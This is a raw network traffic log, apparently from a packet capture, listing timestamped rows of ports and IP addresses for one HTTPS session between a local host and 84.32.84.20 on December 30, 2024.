Dec 30, 2024 21:42:42.749016047 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.749038935 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.749073982 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.749094009 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.749308109 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.749322891 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.749376059 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.749382019 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.749420881 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.749649048 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.749670029 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.749708891 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.749713898 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.749742031 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.749762058 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.749979973 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.749994040 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.750045061 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.750051022 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.750096083 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.750324965 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.750339985 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.750381947 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.750389099 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.750415087 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.750437021 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.750556946 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.750571966 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.750617981 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.750628948 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.750669956 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.750883102 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.750895977 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.750952005 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.750957966 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.751022100 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.752691031 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.837461948 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.837485075 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.837711096 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.837800026 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.837814093 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.837841034 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.837857962 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.837871075 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.838023901 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.838038921 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.838078022 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.838085890 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.838340044 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.838356018 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.838392019 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.838399887 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.838424921 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.838706017 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.838720083 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.838768005 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.838776112 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.839077950 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.839097023 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.839129925 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.839135885 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.839167118 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.839359999 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.839375019 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.839410067 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.839417934 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.839433908 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.839669943 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.839688063 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.839751005 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.839759111 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.841394901 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.841470003 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.927968025 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.928000927 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.928116083 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.928143978 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.928195000 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.928208113 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.928229094 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.928271055 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.928278923 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.928313971 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.928582907 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.928607941 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.928656101 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.928662062 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.928672075 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.928699970 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.928711891 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.928728104 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.928738117 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.928772926 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.929140091 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.929155111 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.929214001 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.929220915 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.929285049 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.929465055 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.929486036 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.929521084 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.929527044 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.929542065 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.929562092 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.929692030 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.929709911 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.929755926 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.929763079 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.929783106 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.929799080 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.930031061 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.930058002 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.930105925 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.930113077 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.930147886 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.932153940 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.016804934 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.016834021 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.016894102 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.016911983 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.016949892 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.017034054 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.017050028 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.017091990 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.017096996 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.017129898 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.017307997 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.017330885 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.017384052 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.017389059 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.017425060 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.017667055 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.017689943 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.017719030 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.017725945 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.017754078 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.017776012 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.017924070 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.017940044 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.017997980 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.018003941 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.018052101 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.018244028 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.018260956 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.018292904 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.018297911 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.018332958 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.018346071 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.018613100 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.018630981 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.018672943 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.018678904 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.018727064 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.018863916 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.018879890 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.018920898 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.018928051 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.018954039 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.018995047 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.021197081 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.105736971 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.105766058 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.105902910 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.105992079 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.105992079 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.106015921 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.106081963 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.106266975 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.106282949 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.106329918 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.106337070 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.106560946 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.106580019 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.106607914 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.106615067 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.106636047 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.106929064 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.106945038 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.106993914 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.107002974 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.107203007 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.107223034 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.107249022 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.107255936 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.107280016 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.107608080 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.107620955 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.107671976 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.107678890 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.107841015 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.107861042 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.107887983 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.107894897 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.107917070 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.110459089 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.110517979 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.207637072 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.207663059 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.207834959 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.207864046 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.207916021 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.210417986 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.210433960 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.210516930 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.210525036 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.210565090 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.211524963 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.211540937 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.211582899 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.211597919 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.211606026 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.211647034 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.211682081 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.211771011 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.211792946 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.211846113 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.211852074 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.211930037 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.211947918 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.211983919 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.211992025 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.212002993 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.212080956 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.212094069 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.212127924 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.212136984 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.212158918 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.212263107 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.212280989 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.212315083 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.212325096 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.212343931 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.219659090 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.296521902 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.296547890 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.296622992 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.296652079 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.296694040 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.296839952 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.296855927 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.296895027 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.296905041 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.296940088 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.297076941 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.297091961 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.297137976 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.297152042 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.297183990 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.297427893 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.297445059 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.297516108 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.297524929 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.297559977 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.297744989 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.297760010 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.297821045 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.297830105 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.297862053 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.298077106 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.298089981 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.298125029 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.298132896 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.298156023 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.298171043 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.298352957 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.298367023 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.298401117 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.298408985 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.298420906 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.298456907 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.298820972 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.298836946 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.298882008 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.298888922 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.298928976 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.300451040 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.385397911 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.385426998 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.385535002 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.385562897 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.385608912 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.385622978 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.385637999 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.385694027 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.385701895 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.385746002 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.385991096 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.386003971 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.386066914 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.386074066 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.386112928 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.386233091 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.386246920 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.386286020 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.386291981 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.386315107 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.386328936 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.386565924 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.386579990 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.386632919 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.386640072 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.386678934 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.386869907 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.386884928 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.386914968 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.386921883 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.386945963 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.386960983 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.387288094 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.387301922 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.387357950 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.387372017 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.387459993 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.387543917 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.387592077 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.387619019 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.387628078 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.387643099 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.389342070 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.389365911 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.474298954 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.474323034 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.474389076 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.474423885 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.474468946 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.474560022 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.474581003 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.474617004 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.474625111 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.474669933 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.474951982 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.474966049 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.475027084 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.475040913 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.475079060 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.475275040 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.475289106 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.475331068 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.475339890 CET	443	49744	84.32.84.20	192.168.2.4
